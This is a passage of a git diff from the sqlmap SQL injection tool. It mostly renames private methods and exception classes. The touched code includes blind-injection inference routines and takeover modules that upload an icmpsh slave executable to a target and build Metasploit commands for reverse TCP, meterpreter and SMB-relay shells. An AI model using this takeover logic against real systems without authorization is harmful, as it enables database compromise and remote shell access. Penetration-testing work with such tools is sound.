__connReadProxy(conn): + def _connReadProxy(conn): retVal = "" if not kb.dnsMode and conn: @@ -249,7 +249,7 @@ class Connect(object): multipartOpener = urllib2.build_opener(proxyHandler, multipartpost.MultipartPostHandler) conn = multipartOpener.open(unicodeencode(url), multipart) - page = Connect.__connReadProxy(conn) + page = Connect._connReadProxy(conn) responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() page = decodePage(page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE)) @@ -360,11 +360,11 @@ class Connect(object): # Get HTTP response if hasattr(conn, 'redurl'): page = threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\ - else Connect.__connReadProxy(conn) + else Connect._connReadProxy(conn) skipLogTraffic = kb.redirectChoice == REDIRECTION.NO code = conn.redcode else: - page = Connect.__connReadProxy(conn) + page = Connect._connReadProxy(conn) code = code or conn.code responseHeaders = conn.info() @@ -399,8 +399,8 @@ class Connect(object): kwargs['post'] = None try: - return Connect.__getPageProxy(**kwargs) - except sqlmapSyntaxException: + return Connect._getPageProxy(**kwargs) + except SqlmapSyntaxException: pass # Explicit closing of connection object @@ -459,11 +459,11 @@ class Connect(object): if e.code == httplib.UNAUTHORIZED: errMsg = "not authorized, try to provide right HTTP " errMsg += "authentication type and valid credentials (%d)" % code - raise sqlmapConnectionException, errMsg + raise SqlmapConnectionException, errMsg elif e.code == httplib.NOT_FOUND: if raise404: errMsg = "page not found (%d)" % code - raise sqlmapConnectionException, errMsg + raise SqlmapConnectionException, errMsg else: debugMsg = "page not found (%d)" % code logger.debug(debugMsg) @@ -476,22 +476,22 @@ class Connect(object): if threadData.retriesCount < conf.retries and not kb.threadException: warnMsg += ". sqlmap is going to retry the request" logger.critical(warnMsg) - return Connect.__retryProxy(**kwargs) + return Connect._retryProxy(**kwargs) elif kb.testMode: logger.critical(warnMsg) return None, None, None else: - raise sqlmapConnectionException, warnMsg + raise SqlmapConnectionException, warnMsg else: debugMsg = "got HTTP error code: %d (%s)" % (code, status) logger.debug(debugMsg) - except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine, httplib.IncompleteRead, ProxyError, sqlmapCompressionException), e: + except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine, httplib.IncompleteRead, ProxyError, SqlmapCompressionException), e: tbMsg = traceback.format_exc() if "no host given" in tbMsg: warnMsg = "invalid url address used (%s)" % repr(url) - raise sqlmapSyntaxException, warnMsg + raise SqlmapSyntaxException, warnMsg elif "forcibly closed" in tbMsg: warnMsg = "connection was forcibly closed by the target url" elif "timed out" in tbMsg: @@ -519,12 +519,12 @@ class Connect(object): elif threadData.retriesCount < conf.retries and not kb.threadException: warnMsg += ". sqlmap is going to retry the request" logger.critical(warnMsg) - return Connect.__retryProxy(**kwargs) + return Connect._retryProxy(**kwargs) elif kb.testMode: logger.critical(warnMsg) return None, None, None else: - raise sqlmapConnectionException, warnMsg + raise SqlmapConnectionException, warnMsg finally: page = page if isinstance(page, unicode) else getUnicode(page) @@ -593,7 +593,7 @@ class Connect(object): if not isinstance(payload, basestring): errMsg = "tamper function '%s' returns " % function.func_name errMsg += "invalid payload type ('%s')" % type(payload) - raise sqlmapValueException, errMsg + raise SqlmapValueException, errMsg value = agent.replacePayload(value, payload) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index e3bf08dd5..918c1c6c0 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -10,7 +10,7 @@ import socket import urllib2 from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException ssl = None try: @@ -57,7 +57,7 @@ class HTTPSConnection(httplib.HTTPSConnection): logger.debug("SSL connection error occured ('%s')" % errMsg) if not success: - raise sqlmapConnectionException, "can't establish SSL connection" + raise SqlmapConnectionException, "can't establish SSL connection" class HTTPSHandler(urllib2.HTTPSHandler): def https_open(self, req): diff --git a/lib/request/inject.py b/lib/request/inject.py index 045bff610..83407bfc6 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -36,8 +36,8 @@ from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapNotVulnerableException -from lib.core.exception import sqlmapUserQuitException +from lib.core.exception import SqlmapNotVulnerableException +from lib.core.exception import SqlmapUserQuitException from lib.core.settings import MAX_TECHNIQUES_PER_VALUE from lib.core.settings import SQL_SCALAR_REGEX from lib.core.threads import getCurrentThreadData @@ -50,7 +50,7 @@ from lib.techniques.dns.use import dnsUse from lib.techniques.error.use import errorUse from lib.techniques.union.use import unionUse -def __goDns(payload, expression): +def _goDns(payload, expression): value = None if conf.dnsName and kb.dnsTest is not False: @@ -62,12 +62,12 @@ def __goDns(payload, expression): return value -def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None): +def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None): start = time.time() value = None count = 0 - value = __goDns(payload, expression) + value = _goDns(payload, expression) if value: return value @@ -95,7 +95,7 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha return value -def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False): +def _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False): outputs = [] origExpr = None @@ -114,7 +114,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl else: expressionReplaced = expression.replace(expressionFields, field, 1) - output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar, dump, field) + output = _goInference(payload, expressionReplaced, charsetType, firstChar, lastChar, dump, field) if isinstance(num, int): expression = origExpr @@ -123,7 +123,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl return outputs -def __goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): +def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected @@ -143,7 +143,7 @@ def __goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, cha untilOrderChar = None if not unpack: - return __goInference(payload, expression, charsetType, firstChar, lastChar, dump) + return _goInference(payload, expression, charsetType, firstChar, lastChar, dump) _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) @@ -233,7 +233,7 @@ def __goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, cha countedExpression = countedExpression[:untilOrderChar] if not stopLimit: - count = __goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar) + count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar) if isNumPosStrValue(count): count = int(count) @@ -252,7 +252,7 @@ def __goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, cha stopLimit = count elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException + raise SqlmapUserQuitException elif test.isdigit() and int(test) > 0 and int(test) <= count: stopLimit = int(test) @@ -302,7 +302,7 @@ def __goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, cha try: for num in xrange(startLimit, stopLimit): - output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) + output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) outputs.append(output) except KeyboardInterrupt: @@ -315,11 +315,11 @@ def __goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, cha elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper(): expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] - outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) + outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) return ", ".join(output for output in outputs) if not isNoneValue(outputs) else None -def __goBooleanProxy(expression): +def _goBooleanProxy(expression): """ Retrieve the output of a boolean based SQL query """ @@ -343,7 +343,7 @@ def __goBooleanProxy(expression): return output -def __goUnion(expression, unpack=True, dump=False): +def _goUnion(expression, unpack=True, dump=False): """ Retrieve the output of a SQL query taking advantage of an union SQL injection vulnerability on the affected parameter. @@ -399,7 +399,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION - value = __goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) + value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE @@ -420,9 +420,9 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: - value = __goBooleanProxy(booleanExpression) + value = _goBooleanProxy(booleanExpression) else: - value = __goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) + value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE @@ -434,16 +434,16 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: - value = __goBooleanProxy(booleanExpression) + value = _goBooleanProxy(booleanExpression) else: - value = __goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) + value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) if value and isinstance(value, basestring): value = value.strip() if value.strip() else value[:1] else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" - raise sqlmapNotVulnerableException, errMsg + raise SqlmapNotVulnerableException, errMsg finally: kb.resumeValues = True diff --git a/lib/request/proxy.py b/lib/request/proxy.py index 2103fa3ea..5b72ef721 100644 --- a/lib/request/proxy.py +++ b/lib/request/proxy.py @@ -10,7 +10,7 @@ import socket import urllib import urllib2 -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import PYVERSION if PYVERSION >= "2.6": @@ -117,4 +117,4 @@ else: class ProxyHTTPSHandler: def __init__(self, *args, **kwargs): errMsg = "unsupported feature on versions of Python before 2.6" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index bd3aa4758..4ec6d821c 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -8,7 +8,7 @@ See the file 'doc/COPYING' for copying permission import urllib import urllib2 -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException class HTTPRangeHandler(urllib2.BaseHandler): """ @@ -47,4 +47,4 @@ class HTTPRangeHandler(urllib2.BaseHandler): def http_error_416(self, req, fp, code, msg, hdrs): # HTTP's Range Not Satisfiable error errMsg = "Invalid range" - raise sqlmapConnectionException, errMsg + raise SqlmapConnectionException, errMsg diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index fa017759f..e31082efe 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -16,7 +16,7 @@ from lib.core.common import logHTTPTraffic from lib.core.common import readInput from lib.core.enums import HTTPHEADER from lib.core.enums import REDIRECTION -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException from lib.core.settings import MAX_SINGLE_URL_REDIRECTIONS from lib.core.settings import MAX_TOTAL_REDIRECTIONS from lib.core.threads import getCurrentThreadData @@ -102,4 +102,4 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler): if hasattr(req, 'redirect_dict') and (req.redirect_dict.get(req.get_full_url(), 0) >= MAX_SINGLE_URL_REDIRECTIONS or len(req.redirect_dict) >= MAX_TOTAL_REDIRECTIONS): errMsg = "infinite redirect loop detected (%s). " % ", ".join(item for item in req.redirect_dict.keys()) errMsg += "please check all provided parameters and/or provide missing ones." - raise sqlmapConnectionException, errMsg + raise SqlmapConnectionException, errMsg diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 0af3d98ce..62c480195 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -15,7 +15,7 @@ from lib.core.data import conf from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.shell import autoCompletion from lib.request import inject from lib.takeover.udf import UDF @@ -49,7 +49,7 @@ class Abstraction(Web, UDF, Xp_cmdshell): else: errMsg = "Feature not yet implemented for the back-end DBMS" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg def evalCmd(self, cmd, first=None, last=None): retVal = None @@ -65,7 +65,7 @@ class Abstraction(Web, UDF, Xp_cmdshell): else: errMsg = "Feature not yet implemented for the back-end DBMS" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg return safechardecode(retVal) @@ -110,7 +110,7 @@ class Abstraction(Web, UDF, Xp_cmdshell): else: errMsg = "feature not yet implemented for the back-end DBMS" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException, errMsg infoMsg = "calling %s OS shell. To quit type " % (Backend.getOs() or "Windows") infoMsg += "'x' or 'q' and press ENTER" @@ -141,7 +141,7 @@ class Abstraction(Web, UDF, Xp_cmdshell): self.runCmd(command) - def __initRunAs(self): + def _initRunAs(self): if not conf.dbmsCred: return @@ -172,7 +172,7 @@ class Abstraction(Web, UDF, Xp_cmdshell): # inject.goStacked(expression) def initEnv(self, mandatory=True, detailed=False, web=False): - self.__initRunAs() + self._initRunAs() if self.envInitialized: return @@ -201,6 +201,6 @@ class Abstraction(Web, UDF, Xp_cmdshell): self.xpCmdshellInit() else: errMsg = "feature not yet implemented for the back-end DBMS" - raise sqlmapUnsupportedFeatureException(errMsg) + raise SqlmapUnsupportedFeatureException(errMsg) self.envInitialized = True diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index 240ed1e46..d5e0502c6 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -25,71 +25,71 @@ class ICMPsh: This class defines methods to call icmpsh for plugins. """ - def __initVars(self): + def _initVars(self): self.lhostStr = None self.rhostStr = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() self.__icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe")) - def __selectRhost(self): + def _selectRhost(self): message = "what is the back-end DBMS address? [%s] " % self.remoteIP address = readInput(message, default=self.remoteIP) return address - def __selectLhost(self): + def _selectLhost(self): message = "what is the local address? [%s] " % self.localIP address = readInput(message, default=self.localIP) return address - def __prepareIngredients(self, encode=True): - self.lhostStr = self.__selectLhost() - self.rhostStr = self.__selectRhost() + def _prepareIngredients(self, encode=True): + self.lhostStr = self._selectLhost() + self.rhostStr = self._selectRhost() - def __runIcmpshMaster(self): + def _runIcmpshMaster(self): infoMsg = "running icmpsh master locally" logger.info(infoMsg) icmpshmaster(self.lhostStr, self.rhostStr) - def __runIcmpshSlaveRemote(self): + def _runIcmpshSlaveRemote(self): infoMsg = "running icmpsh slave remotely" logger.info(infoMsg) - cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self.__icmpslaveRemote, self.lhostStr) + cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr) self.execCmd(cmd, silent=True) def uploadIcmpshSlave(self, web=False): - self.__initVars() - self.__randStr = randomStr(lowercase=True) - self.__icmpslaveRemoteBase = "tmpi%s.exe" % self.__randStr + self._initVars() + self._randStr = randomStr(lowercase=True) + self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr if web: - self.__icmpslaveRemote = "%s/%s" % (self.webDirectory, self.__icmpslaveRemoteBase) + self._icmpslaveRemote = "%s/%s" % (self.webDirectory, self._icmpslaveRemoteBase) else: - self.__icmpslaveRemote = "%s/%s" % (conf.tmpPath, self.__icmpslaveRemoteBase) + self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase) - self.__icmpslaveRemote = ntToPosixSlashes(normalizePath(self.__icmpslaveRemote)) + self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote)) - logger.info("uploading icmpsh slave to '%s'" % self.__icmpslaveRemote) + logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote) if web: - self.webFileUpload(self.__icmpslave, self.__icmpslaveRemote, self.webDirectory) + self.webFileUpload(self.__icmpslave, self._icmpslaveRemote, self.webDirectory) else: - self.writeFile(self.__icmpslave, self.__icmpslaveRemote, "binary") + self.writeFile(self.__icmpslave, self._icmpslaveRemote, "binary") def icmpPwn(self): - self.__prepareIngredients() - self.__runIcmpshSlaveRemote() - self.__runIcmpshMaster() + self._prepareIngredients() + self._runIcmpshSlaveRemote() + self._runIcmpshMaster() debugMsg = "icmpsh master exited" logger.debug(debugMsg) time.sleep(1) - self.execCmd("taskkill /F /IM %s" % self.__icmpslaveRemoteBase, silent=True) + self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True) time.sleep(1) - self.delRemoteFile(self.__icmpslaveRemote) + self.delRemoteFile(self._icmpslaveRemote) diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 3dd3c8dc8..3922cee95 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -30,8 +30,8 @@ from lib.core.data import logger from lib.core.data import paths from lib.core.enums import DBMS from lib.core.enums import OS -from lib.core.exception import sqlmapDataException -from lib.core.exception import sqlmapFilePathException +from lib.core.exception import SqlmapDataException +from lib.core.exception import SqlmapFilePathException from lib.core.settings import IS_WIN from lib.core.settings import UNICODE_ENCODING from lib.core.subprocessng import blockingReadFromFD @@ -45,7 +45,7 @@ class Metasploit: This class defines methods to call Metasploit for plugins. """ - def __initVars(self): + def _initVars(self): self.connectionStr = None self.lhostStr = None self.rhostStr = None @@ -55,17 +55,17 @@ class Metasploit: self.payloadConnStr = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() - self.__msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli")) - self.__msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode")) - self.__msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload")) + self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli")) + self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode")) + self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload")) if IS_WIN: _ = normalizePath(os.path.join(conf.msfPath, "..", "scripts", "setenv.bat")) - self.__msfCli = "%s & ruby %s" % (_, self.__msfCli) - self.__msfEncode = "ruby %s" % self.__msfEncode - self.__msfPayload = "%s & ruby %s" % (_, self.__msfPayload) + self._msfCli = "%s & ruby %s" % (_, self._msfCli) + self._msfEncode = "ruby %s" % self._msfEncode + self._msfPayload = "%s & ruby %s" % (_, self._msfPayload) - self.__msfPayloadsList = { + self._msfPayloadsList = { "windows": { 1: ( "Meterpreter (default)", "windows/meterpreter" ), 2: ( "Shell", "windows/shell" ), @@ -77,7 +77,7 @@ class Metasploit: } } - self.__msfConnectionsList = { + self._msfConnectionsList = { "windows": { 1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ), 2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ), @@ -91,7 +91,7 @@ class Metasploit: } } - self.__msfEncodersList = { + self._msfEncodersList = { "windows": { 1: ( "No Encoder", "generic/none" ), 2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ), @@ -109,19 +109,19 @@ class Metasploit: } } - self.__msfSMBPortsList = { + self._msfSMBPortsList = { "windows": { 1: ( "139/TCP", "139" ), 2: ( "445/TCP (default)", "445" ), } } - self.__portData = { + self._portData = { "bind": "remote port number", "reverse": "local port number", } - def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1): + def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1): if Backend.isOs(OS.WINDOWS): opSys = "windows" else: @@ -153,11 +153,11 @@ class Metasploit: elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") - return self.__skeletonSelection(msg, lst, maxValue, default) + return self._skeletonSelection(msg, lst, maxValue, default) elif int(choice) > maxValue or int(choice) < 1: logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue) - return self.__skeletonSelection(msg, lst, maxValue, default) + return self._skeletonSelection(msg, lst, maxValue, default) choice = int(choice) @@ -166,10 +166,10 @@ class Metasploit: return choice - def __selectSMBPort(self): - return self.__skeletonSelection("SMB port", self.__msfSMBPortsList) + def _selectSMBPort(self): + return self._skeletonSelection("SMB port", self._msfSMBPortsList) - def __selectEncoder(self, encode=True): + def _selectEncoder(self, encode=True): # This is always the case except for --os-bof where the user can # choose which encoder to use. When called from --os-pwn the encoder # is always x86/alpha_mixed - used for sys_bineval() and @@ -178,9 +178,9 @@ class Metasploit: return encode elif encode: - return self.__skeletonSelection("payload encoding", self.__msfEncodersList) + return self._skeletonSelection("payload encoding", self._msfEncodersList) - def __selectPayload(self): + def _selectPayload(self): if Backend.isOs(OS.WINDOWS) and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " @@ -188,11 +188,11 @@ class Metasploit: infoMsg += "'getsystem' command or post modules" logger.info(infoMsg) - __payloadStr = "windows/meterpreter" + _payloadStr = "windows/meterpreter" else: - __payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList) + _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList) - if __payloadStr == "windows/vncinject": + if _payloadStr == "windows/vncinject": choose = False if Backend.isDbms(DBMS.MYSQL): @@ -228,12 +228,12 @@ class Metasploit: choice = readInput(message, default="2") if not choice or choice == "2": - __payloadStr = "windows/meterpreter" + _payloadStr = "windows/meterpreter" break elif choice == "3": - __payloadStr = "windows/shell" + _payloadStr = "windows/shell" break @@ -252,7 +252,7 @@ class Metasploit: elif int(choice) < 1 or int(choice) > 2: logger.warn("invalid value, it must be 1 or 2") - if self.connectionStr.startswith("reverse_http") and __payloadStr != "windows/meterpreter": + if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" @@ -260,14 +260,14 @@ class Metasploit: self.connectionStr = "reverse_tcp" - return __payloadStr + return _payloadStr - def __selectPort(self): - for connType, connStr in self.__portData.items(): + def _selectPort(self): + for connType, connStr in self._portData.items(): if self.connectionStr.startswith(connType): - return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535)) + return self._skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535)) - def __selectRhost(self): + def _selectRhost(self): if self.connectionStr.startswith("bind"): message = "what is the back-end DBMS address? [%s] " % self.remoteIP address = readInput(message, default=self.remoteIP) @@ -281,9 +281,9 @@ class Metasploit: return None else: - raise sqlmapDataException, "unexpected connection type" + raise SqlmapDataException, "unexpected connection type" - def __selectLhost(self): + def _selectLhost(self): if self.connectionStr.startswith("reverse"): message = "what is the local address? [%s] " % self.localIP address = readInput(message, default=self.localIP) @@ -297,104 +297,104 @@ class Metasploit: return None else: - raise sqlmapDataException, "unexpected connection type" + raise SqlmapDataException, "unexpected connection type" - def __selectConnection(self): - return self.__skeletonSelection("connection type", self.__msfConnectionsList) + def _selectConnection(self): + return self._skeletonSelection("connection type", self._msfConnectionsList) - def __prepareIngredients(self, encode=True): - self.connectionStr = self.__selectConnection() - self.lhostStr = self.__selectLhost() - self.rhostStr = self.__selectRhost() - self.portStr = self.__selectPort() - self.payloadStr = self.__selectPayload() - self.encoderStr = self.__selectEncoder(encode) + def _prepareIngredients(self, encode=True): + self.connectionStr = self._selectConnection() + self.lhostStr = self._selectLhost() + self.rhostStr = self._selectRhost() + self.portStr = self._selectPort() + self.payloadStr = self._selectPayload() + self.encoderStr = self._selectEncoder(encode) self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) - def __forgeMsfCliCmd(self, exitfunc="process"): - self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr) - self.__cliCmd += " EXITFUNC=%s" % exitfunc - self.__cliCmd += " LPORT=%s" % self.portStr + def _forgeMsfCliCmd(self, exitfunc="process"): + self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) + self._cliCmd += " EXITFUNC=%s" % exitfunc + self._cliCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("bind"): - self.__cliCmd += " RHOST=%s" % self.rhostStr + self._cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): - self.__cliCmd += " LHOST=%s" % self.lhostStr + self._cliCmd += " LHOST=%s" % self.lhostStr else: - raise sqlmapDataException, "unexpected connection type" + raise SqlmapDataException, "unexpected connection type" if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": - self.__cliCmd += " DisableCourtesyShell=true" + self._cliCmd += " DisableCourtesyShell=true" - self.__cliCmd += " E" + self._cliCmd += " E" - def __forgeMsfCliCmdForSmbrelay(self): - self.__prepareIngredients(encode=False) + def _forgeMsfCliCmdForSmbrelay(self): + self._prepareIngredients(encode=False) - self.__cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr) - self.__cliCmd += " EXITFUNC=thread" - self.__cliCmd += " LPORT=%s" % self.portStr - self.__cliCmd += " SRVHOST=%s" % self.lhostStr - self.__cliCmd += " SRVPORT=%s" % self.__selectSMBPort() + self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) + self._cliCmd += " EXITFUNC=thread" + self._cliCmd += " LPORT=%s" % self.portStr + self._cliCmd += " SRVHOST=%s" % self.lhostStr + self._cliCmd += " SRVPORT=%s" % self._selectSMBPort() if self.connectionStr.startswith("bind"): - self.__cliCmd += " RHOST=%s" % self.rhostStr + self._cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): - self.__cliCmd += " LHOST=%s" % self.lhostStr + self._cliCmd += " LHOST=%s" % self.lhostStr else: - raise sqlmapDataException, "unexpected connection type" + raise SqlmapDataException, "unexpected connection type" - self.__cliCmd += " E" + self._cliCmd += " E" - def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): - self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr) - self.__payloadCmd += " EXITFUNC=%s" % exitfunc - self.__payloadCmd += " LPORT=%s" % self.portStr + def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): + self._payloadCmd = "%s %s" % (self._msfPayload, self.payloadConnStr) + self._payloadCmd += " EXITFUNC=%s" % exitfunc + self._payloadCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("reverse"): - self.__payloadCmd += " LHOST=%s" % self.lhostStr + self._payloadCmd += " LHOST=%s" % self.lhostStr elif not self.connectionStr.startswith("bind"): - raise sqlmapDataException, "unexpected connection type" + raise SqlmapDataException, "unexpected connection type" if Backend.isOs(OS.LINUX) and conf.privEsc: - self.__payloadCmd += " PrependChrootBreak=true PrependSetuid=true" + self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true" if extra == "BufferRegister=EAX": - self.__payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self.__msfEncode, self.encoderStr, outFile, format) + self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) if extra is not None: - self.__payloadCmd += " %s" % extra + self._payloadCmd += " %s" % extra else: - self.__payloadCmd += " X > \"%s\"" % outFile + self._payloadCmd += " X > \"%s\"" % outFile - def __runMsfCliSmbrelay(self): - self.__forgeMsfCliCmdForSmbrelay() + def _runMsfCliSmbrelay(self): + self._forgeMsfCliCmdForSmbrelay() infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) - logger.debug("executing local command: %s" % self.__cliCmd) - self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) + logger.debug("executing local command: %s" % self._cliCmd) + self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) - def __runMsfCli(self, exitfunc): - self.__forgeMsfCliCmd(exitfunc) + def _runMsfCli(self, exitfunc): + self._forgeMsfCliCmd(exitfunc) infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) - logger.debug("executing local command: %s" % self.__cliCmd) - self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) + logger.debug("executing local command: %s" % self._cliCmd) + 